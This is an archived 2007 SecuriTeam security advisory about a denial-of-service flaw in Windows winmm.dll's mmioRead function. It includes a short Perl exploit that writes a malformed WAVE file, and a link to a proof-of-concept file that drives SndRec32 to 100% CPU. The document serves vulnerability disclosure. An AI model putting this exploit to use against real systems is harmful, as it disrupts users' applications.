Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Windows Multimedia mmioRead DoS Vulnerability

Subject: [NT] Windows Multimedia mmioRead DoS Vulnerability
Date: 14 Mar 2007 18:36:56 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Windows Multimedia mmioRead DoS Vulnerability
------------------------------------------------------------------------


SUMMARY

It is possible to create specialy malformed audio file that will cause DoS 
in application, that uses Windows's winmm.dll library to access media 
files.

DETAILS

According to MSDN:

The mmioRead function reads a specified number of bytes from a file opened 
by using the mmioOpen function.
  LONG mmioRead(
  HMMIO hmmio,
  HPSTR pch,
  LONG cch
);


Parameters
hmmio - File handle of the file to be read.

pch - Pointer to a buffer to contain the data read from the file.

cch - Number of bytes to read from the file.

Return Values
Returns the number of bytes actually read. If the end of the file has been 
reached and no more bytes can be read, the return value is 0. If there is 
an error reading from the file, the return value is - 1.

As we can see when we pass to big in cch parameter the function should 
return -1. This is not what happens. When pushing very large value for 
instance 0xFFFFFFFF the function mmioRead enters endless loop. A Proof of 
Concept WAVE file has been created and it's available at:  
<http://sectroyer.110mb.com/mmio_die.wav> 
http://sectroyer.110mb.com/mmio_die.wav. When this file is opened by 
application SndRec32 it will cause 100% CPU consumption.

Exploit:
#!/usr/bin/perl
# Exploit by Beyond Security

my $wave = 
"\x49\x52\x46\x46\x2c\x42\x00\x00\x41\x57\x45\x56\x6d\x66\x20\x74" .
"\x00\x12\x00\x00\x00\x01\x00\x01\x56\x22\x00\x00\xac\x44\x00\x00" .
"\x00\x02\x00\x10\x00\x00\x61\x66\x74\x63\x00\x04\x00\x00\x16\x08".
"\x61\x64\x61\x74\xff\xff\xff\xff";

$wave .= "\xff\x8f" x 11000;

print STDIO $wave;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:mmajchrowicz@gmail.com> 
Micha  Majchrowicz.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Windows Multimedia mmioRead DoS Vulnerability, SecuriTeam <=